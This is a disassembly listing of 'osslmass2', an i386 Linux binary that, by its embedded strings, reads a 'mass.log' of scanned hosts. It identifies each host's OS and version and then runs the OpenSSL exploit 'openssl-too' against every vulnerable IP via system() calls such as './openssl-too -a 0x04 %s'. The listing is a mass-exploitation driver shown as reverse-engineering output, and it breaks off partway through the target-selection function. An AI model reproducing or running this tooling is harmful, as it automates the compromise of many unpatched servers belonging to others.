FILE REFERENCED osslmass2: file format elf32-i386 osslmass2 architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x080486e0 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x000000c0 memsz 0x000000c0 flags r-x INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x000017f9 memsz 0x000017f9 flags r-x LOAD off 0x000017fc vaddr 0x0804a7fc paddr 0x0804a7fc align 2**12 filesz 0x00000124 memsz 0x0000013c flags rw- DYNAMIC off 0x00001880 vaddr 0x0804a880 paddr 0x0804a880 align 2**2 filesz 0x000000a0 memsz 0x000000a0 flags rw- NOTE off 0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2 filesz 0x00000020 memsz 0x00000020 flags r-- Dynamic Section: NEEDED libc.so.6 INIT 0x8048560 FINI 0x804934c HASH 0x8048128 STRTAB 0x8048340 SYMTAB 0x80481d0 STRSZ 0xea SYMENT 0x10 DEBUG 0x0 PLTGOT 0x804a820 PLTRELSZ 0xa0 PLTREL 0x11 JMPREL 0x80484c0 REL 0x80484b8 RELSZ 0x8 RELENT 0x8 VERNEED 0x8048478 VERNEEDNUM 0x1 VERSYM 0x804844a Version References: required from libc.so.6: 0x09691f73 0x00 04 GLIBC_2.1.3 0x0d696911 0x00 03 GLIBC_2.1 0x0d696910 0x00 02 GLIBC_2.0 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 080480f4 080480f4 000000f4 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .hash 000000a8 08048128 08048128 00000128 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .dynsym 00000170 080481d0 080481d0 000001d0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynstr 0000010a 08048340 08048340 00000340 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .gnu.version 0000002e 0804844a 0804844a 0000044a 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version_r 00000040 08048478 08048478 00000478 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .rel.got 00000008 080484b8 080484b8 000004b8 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.plt 000000a0 080484c0 080484c0 000004c0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .init 0000002f 08048560 08048560 00000560 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 10 .plt 00000150 08048590 08048590 00000590 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .text 00000c6c 080486e0 080486e0 000006e0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .fini 0000001e 0804934c 0804934c 0000134c 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .rodata 00000479 08049380 08049380 00001380 2**5 CONTENTS, ALLOC, LOAD, READONLY, DATA 14 .data 00000010 0804a7fc 0804a7fc 000017fc 2**2 CONTENTS, ALLOC, LOAD, DATA 15 .eh_frame 00000004 0804a80c 0804a80c 0000180c 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .ctors 00000008 0804a810 0804a810 00001810 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .dtors 00000008 0804a818 0804a818 00001818 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .got 00000060 0804a820 0804a820 00001820 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .dynamic 000000a0 0804a880 0804a880 00001880 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .sbss 00000000 0804a920 0804a920 00001920 2**0 CONTENTS 21 .bss 00000018 0804a920 0804a920 00001920 2**2 ALLOC 22 .stab 00000720 00000000 00000000 00001920 2**2 CONTENTS, READONLY, DEBUGGING 23 .stabstr 00001940 00000000 00000000 00002040 2**0 CONTENTS, READONLY, DEBUGGING 24 .comment 00000105 00000000 00000000 00003980 2**0 CONTENTS, READONLY 25 .note 00000078 00000000 00000000 00003a85 2**0 CONTENTS, READONLY SYMBOL TABLE: 080480f4 l d .interp 00000000 08048108 l d .note.ABI-tag 00000000 08048128 l d .hash 00000000 080481d0 l d .dynsym 00000000 08048340 l d .dynstr 00000000 0804844a l d .gnu.version 00000000 08048478 l d .gnu.version_r 00000000 080484b8 l d .rel.got 00000000 080484c0 l d .rel.plt 00000000 08048560 l d .init 00000000 08048590 l d .plt 00000000 080486e0 l d .text 00000000 0804934c l d .fini 00000000 08049380 l d .rodata 00000000 0804a7fc l d .data 00000000 0804a80c l d .eh_frame 00000000 0804a810 l d .ctors 00000000 0804a818 l d .dtors 00000000 0804a820 l d .got 00000000 0804a880 l d .dynamic 00000000 0804a920 l d .sbss 00000000 0804a920 l d .bss 00000000 00000000 l d .stab 00000000 00000000 l d .stabstr 00000000 00000000 l d .comment 00000000 00000000 l d .note 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l df *ABS* 00000000 initfini.c 08048704 l .text 00000000 gcc2_compiled. 00000000 l df *ABS* 00000000 init.c 00000000 l df *ABS* 00000000 crtstuff.c 08048710 l .text 00000000 gcc2_compiled. 0804a804 l O .data 00000000 p.0 0804a818 l O .dtors 00000000 __DTOR_LIST__ 0804a808 l O .data 00000000 completed.1 08048710 l F .text 00000000 __do_global_dtors_aux 0804a80c l O .eh_frame 00000000 __EH_FRAME_BEGIN__ 08048770 l F .text 00000000 fini_dummy 0804a920 l O .bss 00000018 object.2 08048780 l F .text 00000000 frame_dummy 080487b0 l F .text 00000000 init_dummy 0804a80c l O .data 00000000 force_to_data 0804a810 l O .ctors 00000000 __CTOR_LIST__ 00000000 l df *ABS* 00000000 crtstuff.c 08049310 l .text 00000000 gcc2_compiled. 08049310 l F .text 00000000 __do_global_ctors_aux 0804a814 l O .ctors 00000000 __CTOR_END__ 08049340 l F .text 00000000 init_dummy 0804a80c l O .data 00000000 force_to_data 0804a81c l O .dtors 00000000 __DTOR_END__ 0804a80c l O .eh_frame 00000000 __FRAME_END__ 00000000 l df *ABS* 00000000 initfini.c 0804934c l .text 00000000 gcc2_compiled. 00000000 l df *ABS* 00000000 osslmass2.c 080487bc l .text 00000000 gcc2_compiled. 080485a0 F *UND* 0000003a feof@@GLIBC_2.0 080492b4 g F .text 00000056 isip 0804a880 g O .dynamic 00000000 _DYNAMIC 080485b0 w F *UND* 00000081 __register_frame_info@@GLIBC_2.0 080485c0 F *UND* 00000026 strcmp@@GLIBC_2.0 00000000 *UND* 00000004 _fp_hw 080485d0 F *UND* 00000076 perror@@GLIBC_2.0 0804a800 g O .data 00000000 .hidden __dso_handle 080485e0 F *UND* 000002f9 system@@GLIBC_2.0 080485f0 F *UND* 00000105 inet_ntoa@@GLIBC_2.0 08048560 g F .init 00000000 _init 08048600 w F *UND* 000000ac __deregister_frame_info@@GLIBC_2.0 080486e0 g .text 00000000 _start 08048610 F *UND* 000000f4 fgets@@GLIBC_2.0 08048620 F *UND* 000000c2 strstr@@GLIBC_2.0 08048630 F *UND* 000000af strlen@@GLIBC_2.0 08048640 F *UND* 00000037 inet_addr@@GLIBC_2.0 0804a920 g O *ABS* 00000000 __bss_start 080487bc g F .text 00000230 main 08048650 F *UND* 000000e0 __libc_start_main@@GLIBC_2.0 0804a7fc w .data 00000000 data_start 08048660 F *UND* 00000032 printf@@GLIBC_2.0 0804934c g F .fini 00000000 _fini 08049240 g F .text 00000072 getVer 08048670 F *UND* 0000015d fclose@@GLIBC_2.1 08048680 F *UND* 00000026 isdigit@@GLIBC_2.0 08048690 w F *UND* 00000091 __cxa_finalize@@GLIBC_2.1.3 080486a0 F *UND* 0000002b atoi@@GLIBC_2.0 0804a920 g O *ABS* 00000000 _edata 080489ec g F .text 0000060a getArch 0804a820 g O .got 00000000 _GLOBAL_OFFSET_TABLE_ 0804a938 g O *ABS* 00000000 _end 080486b0 F *UND* 00000043 memset@@GLIBC_2.0 08048ff8 g F .text 00000247 getOS 080486c0 F *UND* 00000099 fopen@@GLIBC_2.1 08049384 g O .rodata 00000004 _IO_stdin_used 080486d0 F *UND* 0000002d sprintf@@GLIBC_2.0 0804a7fc g .data 00000000 __data_start 00000000 w *UND* 00000000 __gmon_start__ DYNAMIC SYMBOL TABLE: 080485a0 DF *UND* 0000003a GLIBC_2.0 feof 080485b0 w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 080485c0 DF *UND* 00000026 GLIBC_2.0 strcmp 080485d0 DF *UND* 00000076 GLIBC_2.0 perror 080485e0 DF *UND* 000002f9 GLIBC_2.0 system 080485f0 DF *UND* 00000105 GLIBC_2.0 inet_ntoa 08048600 w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 08048610 DF *UND* 000000f4 GLIBC_2.0 fgets 08048620 DF *UND* 000000c2 GLIBC_2.0 strstr 08048630 DF *UND* 000000af GLIBC_2.0 strlen 08048640 DF *UND* 00000037 GLIBC_2.0 inet_addr 08048650 DF *UND* 000000e0 GLIBC_2.0 __libc_start_main 08048660 DF *UND* 00000032 GLIBC_2.0 printf 08048670 DF *UND* 0000015d GLIBC_2.1 fclose 08048680 DF *UND* 00000026 GLIBC_2.0 isdigit 08048690 w DF *UND* 00000091 GLIBC_2.1.3 __cxa_finalize 080486a0 DF *UND* 0000002b GLIBC_2.0 atoi 080486b0 DF *UND* 00000043 GLIBC_2.0 memset 080486c0 DF *UND* 00000099 GLIBC_2.1 fopen 08049384 g DO .rodata 00000004 Base _IO_stdin_used 080486d0 DF *UND* 0000002d GLIBC_2.0 sprintf 00000000 w D *UND* 00000000 __gmon_start__ Disassembly of section .init: 08048560 <_init> push %ebp 08048561 <_init+0x1> mov %esp,%ebp 08048563 <_init+0x3> push %ebx 08048564 <_init+0x4> push %eax 08048565 <_init+0x5> call 0804856a <_init+0xa> 0804856a <_init+0xa> pop %ebx 0804856b <_init+0xb> add $0x22b6,%ebx 08048571 <_init+0x11> mov 0x5c(%ebx),%eax 08048577 <_init+0x17> test %eax,%eax 08048579 <_init+0x19> je 0804857d <_init+0x1d> 0804857b <_init+0x1b> call *%eax 0804857d <_init+0x1d> lea 0x0(%esi),%esi 08048580 <_init+0x20> call 08048780 08048585 <_init+0x25> call 08049310 <__do_global_ctors_aux> 0804858a <_init+0x2a> mov 0xfffffffc(%ebp),%ebx 0804858d <_init+0x2d> leave 0804858e <_init+0x2e> ret Disassembly of section .plt: 08048590 <.plt> pushl 0x804a824 08048596 <.plt+0x6> jmp *0x804a828 0804859c <.plt+0xc> add %al,(%eax) 0804859e <.plt+0xe> add %al,(%eax) 080485a0 <.plt+0x10> jmp *0x804a82c 080485a6 <.plt+0x16> push $0x0 080485ab <.plt+0x1b> jmp 08048590 <_init+0x30> 080485b0 <.plt+0x20> jmp *0x804a830 080485b6 <.plt+0x26> push $0x8 080485bb <.plt+0x2b> jmp 08048590 <_init+0x30> 080485c0 <.plt+0x30> jmp *0x804a834 080485c6 <.plt+0x36> push $0x10 080485cb <.plt+0x3b> jmp 08048590 <_init+0x30> 080485d0 <.plt+0x40> jmp *0x804a838 080485d6 <.plt+0x46> push $0x18 080485db <.plt+0x4b> jmp 08048590 <_init+0x30> 080485e0 <.plt+0x50> jmp *0x804a83c 080485e6 <.plt+0x56> push $0x20 080485eb <.plt+0x5b> jmp 08048590 <_init+0x30> 080485f0 <.plt+0x60> jmp *0x804a840 080485f6 <.plt+0x66> push $0x28 080485fb <.plt+0x6b> jmp 08048590 <_init+0x30> 08048600 <.plt+0x70> jmp *0x804a844 08048606 <.plt+0x76> push $0x30 0804860b <.plt+0x7b> jmp 08048590 <_init+0x30> 08048610 <.plt+0x80> jmp *0x804a848 08048616 <.plt+0x86> push $0x38 0804861b <.plt+0x8b> jmp 08048590 <_init+0x30> 08048620 <.plt+0x90> jmp *0x804a84c 08048626 <.plt+0x96> push $0x40 0804862b <.plt+0x9b> jmp 08048590 <_init+0x30> 08048630 <.plt+0xa0> jmp *0x804a850 08048636 <.plt+0xa6> push $0x48 0804863b <.plt+0xab> jmp 08048590 <_init+0x30> 08048640 <.plt+0xb0> jmp *0x804a854 08048646 <.plt+0xb6> push $0x50 0804864b <.plt+0xbb> jmp 08048590 <_init+0x30> 08048650 <.plt+0xc0> jmp *0x804a858 08048656 <.plt+0xc6> push $0x58 0804865b <.plt+0xcb> jmp 08048590 <_init+0x30> 08048660 <.plt+0xd0> jmp *0x804a85c 08048666 <.plt+0xd6> push $0x60 0804866b <.plt+0xdb> jmp 08048590 <_init+0x30> 08048670 <.plt+0xe0> jmp *0x804a860 08048676 <.plt+0xe6> push $0x68 0804867b <.plt+0xeb> jmp 08048590 <_init+0x30> 08048680 <.plt+0xf0> jmp *0x804a864 08048686 <.plt+0xf6> push $0x70 0804868b <.plt+0xfb> jmp 08048590 <_init+0x30> 08048690 <.plt+0x100> jmp *0x804a868 08048696 <.plt+0x106> push $0x78 0804869b <.plt+0x10b> jmp 08048590 <_init+0x30> 080486a0 <.plt+0x110> jmp *0x804a86c 080486a6 <.plt+0x116> push $0x80 080486ab <.plt+0x11b> jmp 08048590 <_init+0x30> 080486b0 <.plt+0x120> jmp *0x804a870 080486b6 <.plt+0x126> push $0x88 080486bb <.plt+0x12b> jmp 08048590 <_init+0x30> 080486c0 <.plt+0x130> jmp *0x804a874 080486c6 <.plt+0x136> push $0x90 080486cb <.plt+0x13b> jmp 08048590 <_init+0x30> 080486d0 <.plt+0x140> jmp *0x804a878 080486d6 <.plt+0x146> push $0x98 080486db <.plt+0x14b> jmp 08048590 <_init+0x30> Disassembly of section .text: ---- Function : _start ---- 080486e0 <_start> xor %ebp,%ebp 080486e2 <_start+0x2> pop %esi 080486e3 <_start+0x3> mov %esp,%ecx 080486e5 <_start+0x5> and $0xfffffff8,%esp 080486e8 <_start+0x8> push %eax 080486e9 <_start+0x9> push %esp 080486ea <_start+0xa> push %edx 080486eb <_start+0xb> push $0x804934c 080486f0 <_start+0x10> push $0x8048560 080486f5 <_start+0x15> push %ecx 080486f6 <_start+0x16> push %esi 080486f7 <_start+0x17> push $0x80487bc 080486fc <_start+0x1c> call 08048650 <_init+0xf0> 08048701 <_start+0x21> hlt 08048702 <_start+0x22> nop 08048703 <_start+0x23> nop ---- Function : gcc2_compiled. ---- 08048704 ............ ---- Function : __do_global_dtors_aux ---- Referenced from call at 08049360 ; 08048710 <__do_global_dtors_aux> push %ebp 08048711 <__do_global_dtors_aux+0x1> mov 0x804a808,%edx 08048717 <__do_global_dtors_aux+0x7> mov %esp,%ebp 08048719 <__do_global_dtors_aux+0x9> sub $0x8,%esp 0804871c <__do_global_dtors_aux+0xc> test %edx,%edx 0804871e <__do_global_dtors_aux+0xe> jne 0804876b <__do_global_dtors_aux+0x5b> 08048720 <__do_global_dtors_aux+0x10> mov 0x804a804,%edx 08048726 <__do_global_dtors_aux+0x16> mov (%edx),%eax 08048728 <__do_global_dtors_aux+0x18> test %eax,%eax 0804872a <__do_global_dtors_aux+0x1a> je 08048748 <__do_global_dtors_aux+0x38> 0804872c <__do_global_dtors_aux+0x1c> lea 0x0(%esi,1),%esi Referenced from jump at 08048746 ; 08048730 <__do_global_dtors_aux+0x20> lea 0x4(%edx),%eax 08048733 <__do_global_dtors_aux+0x23> mov (%edx),%edx 08048735 <__do_global_dtors_aux+0x25> mov %eax,0x804a804 0804873a <__do_global_dtors_aux+0x2a> call *%edx 0804873c <__do_global_dtors_aux+0x2c> mov 0x804a804,%edx 08048742 <__do_global_dtors_aux+0x32> mov (%edx),%ecx 08048744 <__do_global_dtors_aux+0x34> test %ecx,%ecx 08048746 <__do_global_dtors_aux+0x36> jne 08048730 <__do_global_dtors_aux+0x20> Referenced from jump at 0804872a ; 08048748 <__do_global_dtors_aux+0x38> mov $0x8048600,%eax 0804874d <__do_global_dtors_aux+0x3d> test %eax,%eax 0804874f <__do_global_dtors_aux+0x3f> je 08048761 <__do_global_dtors_aux+0x51> 08048751 <__do_global_dtors_aux+0x41> sub $0xc,%esp 08048754 <__do_global_dtors_aux+0x44> push $0x804a80c 08048759 <__do_global_dtors_aux+0x49> call 08048600 <_init+0xa0> 0804875e <__do_global_dtors_aux+0x4e> add $0x10,%esp Referenced from jump at 0804874f ; 08048761 <__do_global_dtors_aux+0x51> mov $0x1,%eax 08048766 <__do_global_dtors_aux+0x56> mov %eax,0x804a808 Referenced from jump at 0804871e ; 0804876b <__do_global_dtors_aux+0x5b> mov %ebp,%esp 0804876d <__do_global_dtors_aux+0x5d> pop %ebp 0804876e <__do_global_dtors_aux+0x5e> ret 0804876f <__do_global_dtors_aux+0x5f> nop ---- Function : fini_dummy ---- 08048770 push %ebp 08048771 mov %esp,%ebp 08048773 sub $0x8,%esp 08048776 mov %ebp,%esp 08048778 pop %ebp 08048779 ret 0804877a lea 0x0(%esi),%esi ---- Function : frame_dummy ---- 08048780 push %ebp 08048781 mov %esp,%ebp 08048783 mov $0x80485b0,%eax 08048788 sub $0x8,%esp 0804878b test %eax,%eax 0804878d je 080487a4 0804878f sub $0x8,%esp 08048792 push $0x804a920 08048797 push $0x804a80c 0804879c call 080485b0 <_init+0x50> 080487a1 add $0x10,%esp Referenced from jump at 0804878d ; 080487a4 mov %ebp,%esp 080487a6 pop %ebp 080487a7 ret 080487a8 nop 080487a9 lea 0x0(%esi,1),%esi ---- Function : init_dummy ---- 080487b0 push %ebp 080487b1 mov %esp,%ebp 080487b3 sub $0x8,%esp 080487b6 mov %ebp,%esp 080487b8 pop %ebp 080487b9 ret 080487ba nop 080487bb nop ---- Function : main ---- 080487bc
push %ebp 080487bd mov %esp,%ebp 080487bf sub $0x2778,%esp 080487c5 cmpl $0x2,0x8(%ebp) 080487c9 je 080487ec 080487cb sub $0x8,%esp 080487ce mov 0xc(%ebp),%eax 080487d1 pushl (%eax) Possible reference to string: ": osslmass2.c - by Inkubus, the credits goes to Solar Eclipse and Phill: osslmass2 tries to exploit a `mass.log' and attacks vulnerable IPsUSAGE: %s " 080487d3 push $0x80493a0 080487d8 call 08048660 <_init+0x100> 080487dd add $0x10,%esp 080487e0 mov $0x1,%eax 080487e5 jmp 080489ea 080487ea mov %esi,%esi Referenced from jump at 080487c9 ; 080487ec sub $0x8,%esp Possible reference to string: "r+" 080487ef push $0x8049486 080487f4 mov 0xc(%ebp),%eax 080487f7 add $0x4,%eax 080487fa pushl (%eax) 080487fc call 080486c0 <_init+0x160> 08048801 add $0x10,%esp 08048804 mov %eax,0xffffd894(%ebp) 0804880a cmpl $0x0,0xffffd894(%ebp) 08048811 jne 08048830 08048813 sub $0xc,%esp 08048816 mov 0xc(%ebp),%eax 08048819 add $0x4,%eax 0804881c pushl (%eax) 0804881e call 080485d0 <_init+0x70> 08048823 add $0x10,%esp 08048826 mov $0x1,%eax 0804882b jmp 080489ea Referenced from jump at 08048811 ; 08048830 nop 08048831 lea 0x0(%esi),%esi Referenced from jump at 080488fd ; 080489a8 ; 080489ce ; 08048834 sub $0x4,%esp 08048837 push $0x2710 0804883c push $0x0 0804883e lea 0xffffd8d8(%ebp),%eax 08048844 push %eax 08048845 call 080486b0 <_init+0x150> 0804884a add $0x10,%esp 0804884d sub $0x4,%esp 08048850 pushl 0xffffd894(%ebp) 08048856 push $0x270f 0804885b lea 0xffffd8d8(%ebp),%eax 08048861 push %eax 08048862 call 08048610 <_init+0xb0> 08048867 add $0x10,%esp 0804886a sub $0xc,%esp 0804886d pushl 0xffffd894(%ebp) 08048873 call 080485a0 <_init+0x40> 08048878 add $0x10,%esp 0804887b mov %eax,0xffffd890(%ebp) 08048881 cmpl $0x0,0xffffd890(%ebp) 08048888 je 08048890 0804888a jmp 080489d4 0804888f nop Referenced from jump at 08048888 ; 08048890 lea 0xffffd8d8(%ebp),%eax 08048896 sub $0xc,%esp 08048899 push %eax 0804889a call 08048630 <_init+0xd0> 0804889f add $0x10,%esp 080488a2 mov %eax,0xfffffff0(%ebp) 080488a5 lea 0x0(%esi),%esi Referenced from jump at 080488d8 ; 080488a8 cmpl $0x0,0xfffffff0(%ebp) 080488ac je 080488dc 080488ae mov 0xfffffff0(%ebp),%eax 080488b1 dec %eax 080488b2 lea 0xffffd8d8(%ebp),%edx 080488b8 mov %edx,%edx 080488ba cmpb $0x1f,(%eax,%edx,1) 080488be jle 080488c4 080488c0 jmp 080488dc 080488c2 mov %esi,%esi Referenced from jump at 080488be ; 080488c4 lea 0xfffffff0(%ebp),%eax 080488c7 decl (%eax) 080488c9 lea 0xffffd8d8(%ebp),%eax 080488cf mov %eax,%edx 080488d1 mov 0xfffffff0(%ebp),%eax 080488d4 movb $0x0,(%eax,%edx,1) 080488d8 jmp 080488a8 080488da mov %esi,%esi Referenced from jump at 080488ac ; 080488c0 ; 080488dc sub $0xc,%esp 080488df lea 0xffffd8d8(%ebp),%eax 080488e5 push %eax 080488e6 call 08049240 080488eb add $0x10,%esp 080488ee mov %eax,0xffffd8a4(%ebp) 080488f4 cmpl $0x0,0xffffd8a4(%ebp) 080488fb jns 08048904 080488fd jmp 08048834 08048902 mov %esi,%esi Referenced from jump at 080488fb ; 08048904 sub $0xc,%esp 08048907 lea 0xffffd8d8(%ebp),%eax 0804890d push %eax 0804890e call 08048ff8 08048913 add $0x10,%esp 08048916 mov %eax,0xffffd8a0(%ebp) 0804891c movl $0x0,0xfffffff0(%ebp) 08048923 nop Referenced from jump at 08048975 ; 08048924 sub $0xc,%esp 08048927 lea 0xffffd8d8(%ebp),%eax 0804892d mov %eax,%edx 0804892f mov 0xfffffff0(%ebp),%eax 08048932 movsbl (%eax,%edx,1),%eax 08048936 push %eax 08048937 call 08048680 <_init+0x120> 0804893c add $0x10,%esp 0804893f mov %eax,0xffffd88c(%ebp) 08048945 cmpl $0x0,0xffffd88c(%ebp) 0804894c jne 08048964 0804894e lea 0xffffd8d8(%ebp),%eax 08048954 mov %eax,%edx 08048956 mov 0xfffffff0(%ebp),%eax 08048959 cmpb $0x2e,(%eax,%edx,1) 0804895d je 08048964 0804895f jmp 08048978 08048961 lea 0x0(%esi),%esi Referenced from jump at 0804894c ; 0804895d ; 08048964 cmpl $0x270e,0xfffffff0(%ebp) 0804896b jle 08048970 0804896d jmp 08048978 0804896f nop Referenced from jump at 0804896b ; 08048970 lea 0xfffffff0(%ebp),%eax 08048973 incl (%eax) 08048975 jmp 08048924 08048977 nop Referenced from jump at 0804895f ; 0804896d ; 08048978 lea 0xffffd8d8(%ebp),%eax 0804897e mov %eax,%edx 08048980 mov 0xfffffff0(%ebp),%eax 08048983 movb $0x0,(%eax,%edx,1) 08048987 sub $0xc,%esp 0804898a lea 0xffffd8d8(%ebp),%eax 08048990 push %eax 08048991 call 080492b4 08048996 add $0x10,%esp 08048999 mov %eax,0xffffd888(%ebp) 0804899f cmpl $0x0,0xffffd888(%ebp) 080489a6 jne 080489b0 080489a8 jmp 08048834 080489ad lea 0x0(%esi),%esi Referenced from jump at 080489a6 ; 080489b0 sub $0x4,%esp 080489b3 lea 0xffffd8d8(%ebp),%eax 080489b9 push %eax 080489ba pushl 0xffffd8a0(%ebp) 080489c0 pushl 0xffffd8a4(%ebp) 080489c6 call 080489ec 080489cb add $0x10,%esp 080489ce jmp 08048834 080489d3 nop Referenced from jump at 0804888a ; 080489d4 sub $0xc,%esp 080489d7 pushl 0xffffd894(%ebp) 080489dd call 08048670 <_init+0x110> 080489e2 add $0x10,%esp 080489e5 mov $0x0,%eax Referenced from jump at 080487e5 ; 0804882b ; 080489ea leave 080489eb ret ---- Function : getArch ---- Referenced from call at 080489c6 ; 080489ec push %ebp 080489ed mov %esp,%ebp 080489ef sub $0x118,%esp 080489f5 mov 0xc(%ebp),%eax 080489f8 sub $0x2,%eax 080489fb mov %eax,0xfffffee8(%ebp) 08048a01 cmpl $0x5,0xfffffee8(%ebp) 08048a08 ja 08048fef 08048a0e mov 0xfffffee8(%ebp),%edx 08048a14 mov 0x80496c0(,%edx,4),%eax 08048a1b jmp *%eax 08048a1d lea 0x0(%esi),%esi 08048a20 mov 0x8(%ebp),%eax 08048a23 cmp $0x18,%eax 08048a26 je 08048a30 08048a28 jmp 08048fef 08048a2d lea 0x0(%esi),%esi Referenced from jump at 08048a26 ; 08048a30 sub $0x8,%esp 08048a33 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048a36 push $0x80494a0 08048a3b call 08048660 <_init+0x100> 08048a40 add $0x10,%esp 08048a43 sub $0x4,%esp 08048a46 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x00 %s" 08048a49 push $0x80494cf 08048a4e lea 0xfffffef8(%ebp),%eax 08048a54 push %eax 08048a55 call 080486d0 <_init+0x170> 08048a5a add $0x10,%esp 08048a5d sub $0xc,%esp 08048a60 lea 0xfffffef8(%ebp),%eax 08048a66 push %eax 08048a67 call 080485e0 <_init+0x80> 08048a6c add $0x10,%esp 08048a6f jmp 08048fef 08048a74 mov 0x8(%ebp),%eax 08048a77 cmp $0x1a,%eax 08048a7a je 08048a84 08048a7c jmp 08048fef 08048a81 lea 0x0(%esi),%esi Referenced from jump at 08048a7a ; 08048a84 sub $0x8,%esp 08048a87 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048a8a push $0x80494a0 08048a8f call 08048660 <_init+0x100> 08048a94 add $0x10,%esp 08048a97 sub $0x4,%esp 08048a9a pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x01 %s" 08048a9d push $0x80494e9 08048aa2 lea 0xfffffef8(%ebp),%eax 08048aa8 push %eax 08048aa9 call 080486d0 <_init+0x170> 08048aae add $0x10,%esp 08048ab1 sub $0xc,%esp 08048ab4 lea 0xfffffef8(%ebp),%eax 08048aba push %eax 08048abb call 080485e0 <_init+0x80> 08048ac0 add $0x10,%esp 08048ac3 jmp 08048fef 08048ac8 mov 0x8(%ebp),%eax 08048acb sub $0x6,%eax 08048ace mov %eax,0xfffffef4(%ebp) 08048ad4 cmpl $0x14,0xfffffef4(%ebp) 08048adb ja 08048fef 08048ae1 mov 0xfffffef4(%ebp),%edx 08048ae7 mov 0x80496e0(,%edx,4),%eax 08048aee jmp *%eax 08048af0 sub $0x8,%esp 08048af3 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048af6 push $0x80494a0 08048afb call 08048660 <_init+0x100> 08048b00 add $0x10,%esp 08048b03 sub $0x4,%esp 08048b06 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x04 %s" 08048b09 push $0x8049503 08048b0e lea 0xfffffef8(%ebp),%eax 08048b14 push %eax 08048b15 call 080486d0 <_init+0x170> 08048b1a add $0x10,%esp 08048b1d sub $0xc,%esp 08048b20 lea 0xfffffef8(%ebp),%eax 08048b26 push %eax 08048b27 call 080485e0 <_init+0x80> 08048b2c add $0x10,%esp 08048b2f jmp 08048fef 08048b34 sub $0x8,%esp 08048b37 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048b3a push $0x80494a0 08048b3f call 08048660 <_init+0x100> 08048b44 add $0x10,%esp 08048b47 sub $0x4,%esp 08048b4a pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x05 %s" 08048b4d push $0x804951d 08048b52 lea 0xfffffef8(%ebp),%eax 08048b58 push %eax 08048b59 call 080486d0 <_init+0x170> 08048b5e add $0x10,%esp 08048b61 sub $0xc,%esp 08048b64 lea 0xfffffef8(%ebp),%eax 08048b6a push %eax 08048b6b call 080485e0 <_init+0x80> 08048b70 add $0x10,%esp 08048b73 jmp 08048fef 08048b78 sub $0x8,%esp 08048b7b pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048b7e push $0x80494a0 08048b83 call 08048660 <_init+0x100> 08048b88 add $0x10,%esp 08048b8b sub $0x4,%esp 08048b8e pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x07 %s" 08048b91 push $0x8049537 08048b96 lea 0xfffffef8(%ebp),%eax 08048b9c push %eax 08048b9d call 080486d0 <_init+0x170> 08048ba2 add $0x10,%esp 08048ba5 sub $0xc,%esp 08048ba8 lea 0xfffffef8(%ebp),%eax 08048bae push %eax 08048baf call 080485e0 <_init+0x80> 08048bb4 add $0x10,%esp 08048bb7 jmp 08048fef 08048bbc sub $0x8,%esp 08048bbf pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048bc2 push $0x80494a0 08048bc7 call 08048660 <_init+0x100> 08048bcc add $0x10,%esp 08048bcf sub $0x4,%esp 08048bd2 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x08 %s" 08048bd5 push $0x8049551 08048bda lea 0xfffffef8(%ebp),%eax 08048be0 push %eax 08048be1 call 080486d0 <_init+0x170> 08048be6 add $0x10,%esp 08048be9 sub $0xc,%esp 08048bec lea 0xfffffef8(%ebp),%eax 08048bf2 push %eax 08048bf3 call 080485e0 <_init+0x80> 08048bf8 add $0x10,%esp 08048bfb jmp 08048fef 08048c00 sub $0x8,%esp 08048c03 pushl 0x10(%ebp) Possible reference to string: "Attacking: %s" 08048c06 push $0x80494a0 08048c0b call 08048660 <_init+0x100> 08048c10 add $0x10,%esp 08048c13 sub $0x4,%esp 08048c16 pushl 0x10(%ebp) Possible reference to string: "./openssl-too -a 0x09 %s" 08048c19 push $0x804956b 08048c1e lea 0xfffffef8(%ebp),%eax 08048c24 push %eax 08048c25 call 080486d0 <_init+0x170> 08048c2a add $0x10,%esp 08048c2d sub $0xc,%esp 08048c30 lea 0xfffffef8(%ebp),%eax 08048c36 push %eax 08048c37 call 080485e0 <_init+0x80> 08048c3c add $0x10,%esp 08048c3f 